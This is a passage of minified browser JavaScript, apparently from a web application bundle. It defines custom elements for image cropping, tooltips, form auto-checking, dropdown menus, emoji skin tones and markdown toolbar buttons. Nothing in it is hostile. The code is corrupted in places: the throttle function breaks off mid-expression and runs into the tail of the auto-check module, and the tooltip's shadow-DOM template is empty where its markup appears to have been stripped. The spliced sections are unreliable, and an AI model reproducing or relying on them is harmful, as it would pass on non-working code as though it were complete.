    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new AbortController,"f");const{signal:r}=U(this,K,"f");this.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("mouseenter",this,{signal:r}),this.control.addEventListener("mouseleave",this,{signal:r}),this.control.addEventListener("focus",this,{signal:r}),this.control.addEventListener("blur",this,{signal:r}),this.ownerDocument.addEventListener("keydown",this,{signal:r}),U(this,G,"m",Q).call(this)}disconnectedCallback(){var e;(e=U(this,K,"f"))===null||e===void 0||e.abort()}handleEvent(e){!this.control||((e.type==="mouseenter"||e.type==="focus")&&this.hidden?this.hidden=!1:e.type==="blur"?this.hidden=!0:e.type==="mouseleave"&&e.relatedTarget!==this.control&&e.relatedTarget!==this?this.hidden=!0:e.type==="keydown"&&e.key==="Escape"&&!this.hidden&&(this.hidden=!0))}attributeChangedCallback(e){if(e==="id"||e==="data-type"){if(!this.id||!this.control)return;if(this.type==="label")this.control.setAttribute("aria-labelledby",this.id);else{let r=this.control.getAttribute("aria-describedby");r?r=`${r} ${this.id}`:r=this.id,this.control.setAttribute("aria-describedby",r)}}else if(this.isConnected&&e==="hidden")U(this,G,"m",Q).call(this);else if(e==="data-direction"){this.classList.remove(...lt);const r=this.direction;r==="n"?(O(this,D,"center","f"),O(this,z,"outside-top","f")):r==="ne"?(O(this,D,"start","f"),O(this,z,"outside-top","f")):r==="e"?(O(this,D,"center","f"),O(this,z,"outside-right","f")):r==="se"?(O(this,D,"start","f"),O(this,z,"outside-bottom","f")):r==="s"?(O(this,D,"center","f"),O(this,z,"outside-bottom","f")):r==="sw"?(O(this,D,"end","f"),O(this,z,"outside-bottom","f")):r==="w"?(O(this,D,"center","f"),O(this,z,"outside-left","f")):r==="nw"&&(O(this,D,"end","f"),O(this,z,"outside-top","f"))}}}c(l,"ToolTipElement"),K=new WeakMap,D=new WeakMap,z=new WeakMap,et=new WeakMap,G=new WeakSet,Q=c(function(){if(this.hidden)this.classList.remove(nt,...lt);else{this.classList.add(nt);for(const e of this.ownerDocument.querySelectorAll(this.tagName))e!==this&&(e.hidden=!0);U(this,G,"m",st).call(this)}},"_ToolTipElement_update"),st=c(function(){if(!this.control||!U(this,et,"f")||this.hidden)return;const e=10;this.style.left="0px";const r=(0,L.N)(this,this.control,{side:U(this,z,"f"),align:U(this,D,"f"),anchorOffset:e}),p=r.anchorSide,b=r.anchorAlign;this.style.top=`${r.top}px`,this.style.left=`${r.left}px`;let w="s";p==="outside-left"?w="w":p==="outside-right"?w="e":p==="outside-top"?b==="center"?w="n":b==="start"?w="ne":w="nw":b==="center"?w="s":b==="start"?w="se":w="sw",this.classList.add(`tooltip-${w}`)},"_ToolTipElement_updatePosition"),l.observedAttributes=["data-type","data-direction","id","hidden"],window.customElements.get("tool-tip")||(window.ToolTipElement=l,window.customElements.define("tool-tip",l))},38257:()=>{function j(k,m=0,{start:v=!0,middle:d=!0,once:t=!1}={}){var n=0,a,h=!1,g=c(function y(...T){if(!h){var u=Date.now()-n;n=Date.now(),v?(v=!1,k(...T),t&&y.cancel()):(d&&ua=g,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-start",{bubbles:!0,detail:{setValidity:h}})),v.required&&m.setCustomValidity(a)}c(_,"setLoadingState");function W(){return"AbortController"in window?new AbortController:{signal:null,abort(){}}}c(W,"makeAbortController");async function S(k,m,v){try{const d=await fetch(m,v);return k.dispatchEvent(new CustomEvent("load")),k.dispatchEvent(new CustomEvent("loadend")),d}catch(d){throw d.name!=="AbortError"&&(k.dispatchEvent(new CustomEvent("error")),k.dispatchEvent(new CustomEvent("loadend"))),d}}c(S,"fetchWithNetworkEvents");async function B(k){const m=k.input;if(!m)return;const v=k.src,d=k.csrf,t=I.get(k);if(!v||!d||!t){k.required&&m.setCustomValidity("");return}if(!m.value.trim()){k.required&&m.setCustomValidity("");return}const n=new FormData;n.append("authenticity_token",d),n.append("value",m.value),m.dispatchEvent(new CustomEvent("auto-check-send",{bubbles:!0,detail:{body:n}})),t.controller?t.controller.abort():k.dispatchEvent(new CustomEvent("loadstart")),t.controller=W();try{const a=await S(k,v,{credentials:"same-origin",signal:t.controller.signal,method:"POST",body:n});a.ok?H(a,m,k.required):M(a,m,k.required),t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0}))}catch(a){a.name!=="AbortError"&&(t.controller=null,m.dispatchEvent(new CustomEvent("auto-check-complete",{bubbles:!0})))}}c(B,"check");function H(k,m,v){v&&m.setCustomValidity(""),m.dispatchEvent(new CustomEvent("auto-check-success",{bubbles:!0,detail:{response:k.clone()}}))}c(H,"processSuccess");function M(k,m,v){let d="Validation failed";const t=c(n=>d=n,"setValidity");m.dispatchEvent(new CustomEvent("auto-check-error",{bubbles:!0,detail:{response:k.clone(),setValidity:t}})),v&&m.setCustomValidity(d)}c(M,"processFailure"),window.customElements.get("auto-check")||(window.AutoCheckElement=x,window.customElements.define("auto-check",x));var R=null},11095:()=>{class j extends HTMLElement{get preload(){return this.hasAttribute("preload")}set preload(s){s?this.setAttribute("preload",""):this.removeAttribute("preload")}get src(){return this.getAttribute("src")||""}set src(s){this.setAttribute("src",s)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","menu");const s=this.parentElement;if(!s)return;const i=s.querySelector("summary");i&&(i.setAttribute("aria-haspopup","menu"),i.hasAttribute("role")||i.setAttribute("role","button"));const f=[x(s,"compositionstart",E=>y(this,E)),x(s,"compositionend",E=>y(this,E)),x(s,"click",E=>k(s,E)),x(s,"change",E=>k(s,E)),x(s,"keydown",E=>d(s,this,E)),x(s,"toggle",()=>_(s,this),{once:!0}),x(s,"toggle",()=>S(s)),this.preload?x(s,"mouseover",()=>_(s,this),{once:!0}):I,...W(s)];P.set(this,{subscriptions:f,loaded:!1,isComposing:!1})}disconnectedCallback(){const s=P.get(this);if(!!s){P.delete(this);for(const i of s.subscriptions)i.unsubscribe()}}}c(j,"DetailsMenuElement");const P=new WeakMap,I={unsubscribe(){}};function x(u,s,i,f=!1){return u.addEventListener(s,i,f),{unsubscribe:()=>{u.removeEventListener(s,i,f)}}}c(x,"fromEvent");function _(u,s){const i=s.getAttribute("src");if(!i)return;const f=P.get(s);if(!f||f.loaded)return;f.loaded=!0;const E=s.querySelector("include-fragment");E&&!E.hasAttribute("src")&&(E.addEventListener("loadend",()=>B(u)),E.setAttribute("src",i))}c(_,"loadFragment");function W(u){let s=!1;const i=c(()=>s=!0,"onmousedown"),f=c(()=>s=!1,"onkeydown"),E=c(()=>{!u.hasAttribute("open")||B(u)||s||H(u)},"ontoggle");return[x(u,"mousedown",i),x(u,"keydown",f),x(u,"toggle",E)]}c(W,"focusOnOpen");function S(u){if(!!u.hasAttribute("open"))for(const s of document.querySelectorAll("details[open] > details-menu")){const i=s.closest("details");i&&i!==u&&!i.contains(u)&&i.removeAttribute("open")}}c(S,"closeCurrentMenu");function B(u){if(!u.hasAttribute("open"))return!1;const s=u.querySelector("details-menu [autofocus]");return s?(s.focus(),!0):!1}c(B,"autofocus");function H(u){const s=document.activeElement;if(s&&t(s)&&u.contains(s))return;const i=M(u,!0);i&&i.focus()}c(H,"focusFirstItem");function M(u,s){const i=Array.from(u.querySelectorAll('[role^="menuitem"]:not([hidden]):not([disabled]):not([aria-disabled="true"])')),f=document.activeElement,E=f instanceof HTMLElement?i.indexOf(f):-1,L=s?i[E+1]:i[E-1],O=s?i[0]:i[i.length-1];return L||O}c(M,"sibling");const R=navigator.userAgent.match(/Macintosh/);function k(u,s){const i=s.target;if(i instanceof Element&&i.closest("details")===u){if(s.type==="click"){const f=i.closest('[role="menuitem"], [role="menuitemradio"]');if(!f)return;const E=f.querySelector("input");if(f.tagName==="LABEL"&&i===E)return;f.tagName==="LABEL"&&E&&!E.checked||v(f,u)}else if(s.type==="change"){const f=i.closest('[role="menuitemradio"], [role="menuitemcheckbox"]');f&&v(f,u)}}}c(k,"shouldCommit");function m(u,s){for(const i of s.querySelectorAll('[role="menuitemradio"], [role="menuitemcheckbox"]')){const f=i.querySelector('input[type="radio"], input[type="checkbox"]');let E=(i===u).toString();f instanceof HTMLInputElement&&(E=f.indeterminate?"mixed":f.checked.toString()),i.setAttribute("aria-checked",E)}}c(m,"updateChecked");function v(u,s){if(u.hasAttribute("disabled")||u.getAttribute("aria-disabled")==="true")return;const i=u.closest("details-menu");!i||!i.dispatchEvent(new CustomEvent("details-menu-select",{cancelable:!0,detail:{relatedTarget:u}}))||(a(u,s),m(u,s),u.getAttribute("role")!=="menuitemcheckbox"&&n(s),i.dispatchEvent(new CustomEvent("details-menu-selected",{detail:{relatedTarget:u}})))}c(v,"commit");function d(u,s,i){if(!(i instanceof KeyboardEvent)||u.querySelector("details[open]"))return;const f=P.get(s);if(!f||f.isComposing)return;const E=i.target instanceof Element&&i.target.tagName==="SUMMARY";switch(i.key){case"Escape":u.hasAttribute("open")&&(n(u),i.preventDefault(),i.stopPropagation());break;case"ArrowDown":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"ArrowUp":{E&&!u.hasAttribute("open")&&u.setAttribute("open","");const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case"n":if(R&&i.ctrlKey){const L=M(u,!0);L&&L.focus(),i.preventDefault()}break;case"p":if(R&&i.ctrlKey){const L=M(u,!1);L&&L.focus(),i.preventDefault()}break;case" ":case"Enter":{const L=document.activeElement;L instanceof HTMLElement&&t(L)&&L.closest("details")===u&&(i.preventDefault(),i.stopPropagation(),L.click())}break}}c(d,"keydown");function t(u){const s=u.getAttribute("role");return s==="menuitem"||s==="menuitemcheckbox"||s==="menuitemradio"}c(t,"isMenuItem");function n(u){if(!u.hasAttribute("open"))return;u.removeAttribute("open");const i=u.querySelector("summary");i&&i.focus()}c(n,"close");function a(u,s){const i=s.querySelector("[data-menu-button]");if(!i)return;const f=h(u);if(f)i.textContent=f;else{const E=g(u);E&&(i.innerHTML=E)}}c(a,"updateLabel");function h(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-text")?u:u.querySelector("[data-menu-button-text]");return s?s.getAttribute("data-menu-button-text")||s.textContent:null}c(h,"labelText");function g(u){if(!u)return null;const s=u.hasAttribute("data-menu-button-contents")?u:u.querySelector("[data-menu-button-contents]");return s?s.innerHTML:null}c(g,"labelHTML");function y(u,s){const i=P.get(u);!i||(i.isComposing=s.type==="compositionstart")}c(y,"trackComposition");var T=null;window.customElements.get("details-menu")||(window.DetailsMenuElement=j,window.customElements.define("details-menu",j))},73921:()=>{function j(){const t=/\bWindows NT 6.1\b/.test(navigator.userAgent),n=/\bWindows NT 6.2\b/.test(navigator.userAgent),a=/\bWindows NT 6.3\b/.test(navigator.userAgent),h=/\bFreeBSD\b/.test(navigator.userAgent),g=/\bLinux\b/.test(navigator.userAgent)&&!/\bAndroid\b/.test(navigator.userAgent);return!(t||n||a||g||h)}c(j,"isEmojiSupported");const P=new Set(["\u{1F44B}","\u{1F91A}","\u{1F590}\uFE0F","\u270B","\u{1F596}","\u{1F44C}","\u{1F90F}","\u270C\uFE0F","\u{1F91E}","\u{1F91F}","\u{1F918}","\u{1F919}","\u{1F448}","\u{1F449}","\u{1F446}","\u{1F595}","\u{1F447}","\u261D\uFE0F","\u{1F44D}","\u{1F44E}","\u270A","\u{1F44A}","\u{1F91B}","\u{1F91C}","\u{1F44F}","\u{1F64C}","\u{1F450}","\u{1F932}","\u{1F64F}","\u270D\uFE0F","\u{1F485}","\u{1F933}","\u{1F4AA}","\u{1F9B5}","\u{1F9B6}","\u{1F442}","\u{1F9BB}","\u{1F443}","\u{1F476}","\u{1F9D2}","\u{1F466}","\u{1F467}","\u{1F9D1}","\u{1F471}","\u{1F468}","\u{1F9D4}","\u{1F471}\u200D\u2642\uFE0F","\u{1F468}\u200D\u{1F9B0}","\u{1F468}\u200D\u{1F9B1}","\u{1F468}\u200D\u{1F9B3}","\u{1F468}\u200D\u{1F9B2}","\u{1F469}","\u{1F471}\u200D\u2640\uFE0F","\u{1F469}\u200D\u{1F9B0}","\u{1F469}\u200D\u{1F9B1}","\u{1F469}\u200D\u{1F9B3}","\u{1F469}\u200D\u{1F9B2}","\u{1F9D3}","\u{1F474}","\u{1F475}","\u{1F64D}","\u{1F64D}\u200D\u2642\uFE0F","\u{1F64D}\u200D\u2640\uFE0F","\u{1F64E}","\u{1F64E}\u200D\u2642\uFE0F","\u{1F64E}\u200D\u2640\uFE0F","\u{1F645}","\u{1F645}\u200D\u2642\uFE0F","\u{1F645}\u200D\u2640\uFE0F","\u{1F646}","\u{1F646}\u200D\u2642\uFE0F","\u{1F646}\u200D\u2640\uFE0F","\u{1F481}","\u{1F481}\u200D\u2642\uFE0F","\u{1F481}\u200D\u2640\uFE0F","\u{1F64B}","\u{1F64B}\u200D\u2642\uFE0F","\u{1F64B}\u200D\u2640\uFE0F","\u{1F9CF}","\u{1F9CF}\u200D\u2642\uFE0F","\u{1F9CF}\u200D\u2640\uFE0F","\u{1F647}","\u{1F647}\u200D\u2642\uFE0F","\u{1F647}\u200D\u2640\uFE0F","\u{1F926}","\u{1F926}\u200D\u2642\uFE0F","\u{1F926}\u200D\u2640\uFE0F","\u{1F937}","\u{1F937}\u200D\u2642\uFE0F","\u{1F937}\u200D\u2640\uFE0F","\u{1F468}\u200D\u2695\uFE0F","\u{1F469}\u200D\u2695\uFE0F","\u{1F468}\u200D\u{1F393}","\u{1F469}\u200D\u{1F393}","\u{1F468}\u200D\u{1F3EB}","\u{1F469}\u200D\u{1F3EB}","\u{1F468}\u200D\u2696\uFE0F","\u{1F469}\u200D\u2696\uFE0F","\u{1F468}\u200D\u{1F33E}","\u{1F469}\u200D\u{1F33E}","\u{1F468}\u200D\u{1F373}","\u{1F469}\u200D\u{1F373}","\u{1F468}\u200D\u{1F527}","\u{1F469}\u200D\u{1F527}","\u{1F468}\u200D\u{1F3ED}","\u{1F469}\u200D\u{1F3ED}","\u{1F468}\u200D\u{1F4BC}","\u{1F469}\u200D\u{1F4BC}","\u{1F468}\u200D\u{1F52C}","\u{1F469}\u200D\u{1F52C}","\u{1F468}\u200D\u{1F4BB}","\u{1F469}\u200D\u{1F4BB}","\u{1F468}\u200D\u{1F3A4}","\u{1F469}\u200D\u{1F3A4}","\u{1F468}\u200D\u{1F3A8}","\u{1F469}\u200D\u{1F3A8}","\u{1F468}\u200D\u2708\uFE0F","\u{1F469}\u200D\u2708\uFE0F","\u{1F468}\u200D\u{1F680}","\u{1F469}\u200D\u{1F680}","\u{1F468}\u200D\u{1F692}","\u{1F469}\u200D\u{1F692}","\u{1F46E}","\u{1F46E}\u200D\u2642\uFE0F","\u{1F46E}\u200D\u2640\uFE0F","\u{1F575}\uFE0F","\u{1F575}\uFE0F\u200D\u2642\uFE0F","\u{1F575}\uFE0F\u200D\u2640\uFE0F","\u{1F482}","\u{1F482}\u200D\u2642\uFE0F","\u{1F482}\u200D\u2640\uFE0F","\u{1F477}","\u{1F477}\u200D\u2642\uFE0F","\u{1F477}\u200D\u2640\uFE0F","\u{1F934}","\u{1F478}","\u{1F473}","\u{1F473}\u200D\u2642\uFE0F","\u{1F473}\u200D\u2640\uFE0F","\u{1F472}","\u{1F9D5}","\u{1F935}","\u{1F470}","\u{1F930}","\u{1F931}","\u{1F47C}","\u{1F385}","\u{1F936}","\u{1F9B8}","\u{1F9B8}\u200D\u2642\uFE0F","\u{1F9B8}\u200D\u2640\uFE0F","\u{1F9B9}","\u{1F9B9}\u200D\u2642\uFE0F","\u{1F9B9}\u200D\u2640\uFE0F","\u{1F9D9}","\u{1F9D9}\u200D\u2642\uFE0F","\u{1F9D9}\u200D\u2640\uFE0F","\u{1F9DA}","\u{1F9DA}\u200D\u2642\uFE0F","\u{1F9DA}\u200D\u2640\uFE0F","\u{1F9DB}","\u{1F9DB}\u200D\u2642\uFE0F","\u{1F9DB}\u200D\u2640\uFE0F","\u{1F9DC}","\u{1F9DC}\u200D\u2642\uFE0F","\u{1F9DC}\u200D\u2640\uFE0F","\u{1F9DD}","\u{1F9DD}\u200D\u2642\uFE0F","\u{1F9DD}\u200D\u2640\uFE0F","\u{1F486}","\u{1F486}\u200D\u2642\uFE0F","\u{1F486}\u200D\u2640\uFE0F","\u{1F487}","\u{1F487}\u200D\u2642\uFE0F","\u{1F487}\u200D\u2640\uFE0F","\u{1F6B6}","\u{1F6B6}\u200D\u2642\uFE0F","\u{1F6B6}\u200D\u2640\uFE0F","\u{1F9CD}","\u{1F9CD}\u200D\u2642\uFE0F","\u{1F9CD}\u200D\u2640\uFE0F","\u{1F9CE}","\u{1F9CE}\u200D\u2642\uFE0F","\u{1F9CE}\u200D\u2640\uFE0F","\u{1F468}\u200D\u{1F9AF}","\u{1F469}\u200D\u{1F9AF}","\u{1F468}\u200D\u{1F9BC}","\u{1F469}\u200D\u{1F9BC}","\u{1F468}\u200D\u{1F9BD}","\u{1F469}\u200D\u{1F9BD}","\u{1F3C3}","\u{1F3C3}\u200D\u2642\uFE0F","\u{1F3C3}\u200D\u2640\uFE0F","\u{1F483}","\u{1F57A}","\u{1F574}\uFE0F","\u{1F9D6}","\u{1F9D6}\u200D\u2642\uFE0F","\u{1F9D6}\u200D\u2640\uFE0F","\u{1F9D7}","\u{1F9D7}\u200D\u2642\uFE0F","\u{1F9D7}\u200D\u2640\uFE0F","\u{1F3C7}","\u{1F3C2}","\u{1F3CC}\uFE0F","\u{1F3CC}\uFE0F\u200D\u2642\uFE0F","\u{1F3CC}\uFE0F\u200D\u2640\uFE0F","\u{1F3C4}","\u{1F3C4}\u200D\u2642\uFE0F","\u{1F3C4}\u200D\u2640\uFE0F","\u{1F6A3}","\u{1F6A3}\u200D\u2642\uFE0F","\u{1F6A3}\u200D\u2640\uFE0F","\u{1F3CA}","\u{1F3CA}\u200D\u2642\uFE0F","\u{1F3CA}\u200D\u2640\uFE0F","\u26F9\uFE0F","\u26F9\uFE0F\u200D\u2642\uFE0F","\u26F9\uFE0F\u200D\u2640\uFE0F","\u{1F3CB}\uFE0F","\u{1F3CB}\uFE0F\u200D\u2642\uFE0F","\u{1F3CB}\uFE0F\u200D\u2640\uFE0F","\u{1F6B4}","\u{1F6B4}\u200D\u2642\uFE0F","\u{1F6B4}\u200D\u2640\uFE0F","\u{1F6B5}","\u{1F6B5}\u200D\u2642\uFE0F","\u{1F6B5}\u200D\u2640\uFE0F","\u{1F938}","\u{1F938}\u200D\u2642\uFE0F","\u{1F938}\u200D\u2640\uFE0F","\u{1F93D}","\u{1F93D}\u200D\u2642\uFE0F","\u{1F93D}\u200D\u2640\uFE0F","\u{1F93E}","\u{1F93E}\u200D\u2642\uFE0F","\u{1F93E}\u200D\u2640\uFE0F","\u{1F939}","\u{1F939}\u200D\u2642\uFE0F","\u{1F939}\u200D\u2640\uFE0F","\u{1F9D8}","\u{1F9D8}\u200D\u2642\uFE0F","\u{1F9D8}\u200D\u2640\uFE0F","\u{1F6C0}","\u{1F6CC}","\u{1F9D1}\u200D\u{1F91D}\u200D\u{1F9D1}","\u{1F46D}","\u{1F46B}","\u{1F46C}"]);function I(t){return P.has(t)}c(I,"isModifiable");const x="\u200D",_=65039;function W(t,n){const a=B(t);if(!I(a))return t;const h=R(n);return h?a.split(x).map(g=>I(g)?H(g,h):g).join(x):t}c(W,"applyTone");function S(t,n){const a=B(t);if(!I(a))return t;const h=n.map(g=>R(g));return a.split(x).map(g=>{if(!I(g))return g;const y=h.shift();return y?H(g,y):g}).join(x)}c(S,"applyTones");function B(t){return[...t].filter(n=>!M(n.codePointAt(0))).join("")}c(B,"removeTone");function H(t,n){const a=[...t].map(h=>h.codePointAt(0));return a[1]&&(M(a[1])||a[1]===_)?a[1]=n:a.splice(1,0,n),String.fromCodePoint(...a)}c(H,"tint");function M(t){return t>=127995&&t<=127999}c(M,"isTone");function R(t){switch(t){case 1:return 127995;case 2:return 127996;case 3:return 127997;case 4:return 127998;case 5:return 127999;default:return null}}c(R,"toneModifier");class k extends HTMLElement{get image(){return this.firstElementChild instanceof HTMLImageElement?this.firstElementChild:null}get tone(){return(this.getAttribute("tone")||"").split(" ").map(n=>{const a=parseInt(n,10);return a>=0&&a<=5?a:0}).join(" ")}set tone(n){this.setAttribute("tone",n)}connectedCallback(){if(this.image===null&&!j()){const n=this.getAttribute("fallback-src");if(n){this.textContent="";const a=v(this);a.src=n,this.appendChild(a)}}this.hasAttribute("tone")&&m(this)}static get observedAttributes(){return["tone"]}attributeChangedCallback(n){switch(n){case"tone":m(this);break}}}c(k,"GEmojiElement");function m(t){if(t.image)return;const n=t.tone.split(" ").map(a=>parseInt(a,10));if(n.length===0)t.textContent=B(t.textContent||"");else if(n.length===1){const a=n[0];t.textContent=a===0?B(t.textContent||""):W(t.textContent||"",a)}else t.textContent=S(t.textContent||"",n)}c(m,"updateTone");function v(t){const n=document.createElement("img");return n.className="emoji",n.alt=t.getAttribute("alias")||"",n.height=20,n.width=20,n}c(v,"emojiImage"),window.customElements.get("g-emoji")||(window.GEmojiElement=k,window.customElements.define("g-emoji",k));var d=null},51941:()=>{const j=["[data-md-button]","md-header","md-bold","md-italic","md-quote","md-code","md-link","md-image","md-unordered-list","md-ordered-list","md-task-list","md-mention","md-ref","md-strikethrough"];function P(l){const o=[];for(const e of l.querySelectorAll(j.join(", ")))e.hidden||e.offsetWidth<=0&&e.offsetHeight<=0||e.closest("markdown-toolbar")===l&&o.push(e);return o}c(P,"getButtons");function I(l){return function(o){(o.key===" "||o.key==="Enter")&&(o.preventDefault(),l(o))}}c(I,"keydown");const x=new WeakMap;class _ extends HTMLElement{constructor(){super();const o=c(()=>{const e=x.get(this);!e||it(this,e)},"apply");this.addEventListener("keydown",I(o)),this.addEventListener("click",o)}connectedCallback(){this.hasAttribute("role")||this.setAttribute("role","button")}click(){const o=x.get(this);!o||it(this,o)}}c(_,"MarkdownButtonElement");class W extends _{constructor(){super();const o=parseInt(this.getAttribute("level")||"3",10);if(o<1||o>6)return;const e=`${"#".repeat(o)} `;x.set(this,{prefix:e})}}c(W,"MarkdownHeaderButtonElement"),window.customElements.get("md-header")||(window.MarkdownHeaderButtonElement=W,window.customElements.define("md-header",W));class S extends _{constructor(){super();x.set(this,{prefix:"**",suffix:"**",trimFirst:!0})}}c(S,"MarkdownBoldButtonElement"),window.customElements.get("md-bold")||(window.MarkdownBoldButtonElement=S,window.customElements.define("md-bold",S));class B extends _{constructor(){super();x.set(this,{prefix:"_",suffix:"_",trimFirst:!0})}}c(B,"MarkdownItalicButtonElement"),window.customElements.get("md-italic")||(window.MarkdownItalicButtonElement=B,window.customElements.define("md-italic",B));class H extends _{constructor(){super();x.set(this,{prefix:"> ",multiline:!0,surroundWithNewlines:!0})}}c(H,"MarkdownQuoteButtonElement"),window.customElements.get("md-quote")||(window.MarkdownQuoteButtonElement=H,window.customElements.define("md-quote",H));class M extends _{constructor(){super();x.set(this,{prefix:"`",suffix:"`",blockPrefix:"```",blockSuffix:"```"})}}c(M,"MarkdownCodeButtonElement"),window.customElements.get("md-code")||(window.MarkdownCodeButtonElement=M,window.customElements.define("md-code",M));class R extends _{constructor(){super();x.set(this,{prefix:"[",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(R,"MarkdownLinkButtonElement"),window.customElements.get("md-link")||(window.MarkdownLinkButtonElement=R,window.customElements.define("md-link",R));class k extends _{constructor(){super();x.set(this,{prefix:"![",suffix:"](url)",replaceNext:"url",scanFor:"https?://"})}}c(k,"MarkdownImageButtonElement"),window.customElements.get("md-image")||(window.MarkdownImageButtonElement=k,window.customElements.define("md-image",k));class m extends _{constructor(){super();x.set(this,{prefix:"- ",multiline:!0,unorderedList:!0})}}c(m,"MarkdownUnorderedListButtonElement"),window.customElements.get("md-unordered-list")||(window.MarkdownUnorderedListButtonElement=m,window.customElements.define("md-unordered-list",m));class v extends _{constructor(){super();x.set(this,{prefix:"1. ",multiline:!0,orderedList:!0})}}c(v,"MarkdownOrderedListButtonElement"),window.customElements.get("md-ordered-list")||(window.MarkdownOrderedListButtonElement=v,window.customElements.define("md-ordered-list",v));class d extends _{constructor(){super();x.set(this,{prefix:"- [ ] ",multiline:!0,surroundWithNewlines:!0})}}c(d,"MarkdownTaskListButtonElement"),window.customElements.get("md-task-list")||(window.MarkdownTaskListButtonElement=d,window.customElements.define("md-task-list",d));class t extends _{constructor(){super();x.set(this,{prefix:"@",prefixSpace:!0})}}c(t,"MarkdownMentionButtonElement"),window.customElements.get("md-mention")||(window.MarkdownMentionButtonElement=t,window.customElements.define("md-mention",t));class n extends _{constructor(){super();x.set(this,{prefix:"#",prefixSpace:!0})}}c(n,"MarkdownRefButtonElement"),window.customElements.get("md-ref")||(window.MarkdownRefButtonElement=n,window.customElements.define("md-ref",n));class a extends _{constructor(){super();x.set(this,{prefix:"~~",suffix:"~~",trimFirst:!0})}}c(a,"MarkdownStrikethroughButtonElement"),window.customElements.get("md-strikethrough")||(window.MarkdownStrikethroughButtonElement=a,window.customElements.define("md-strikethrough",a));class h extends 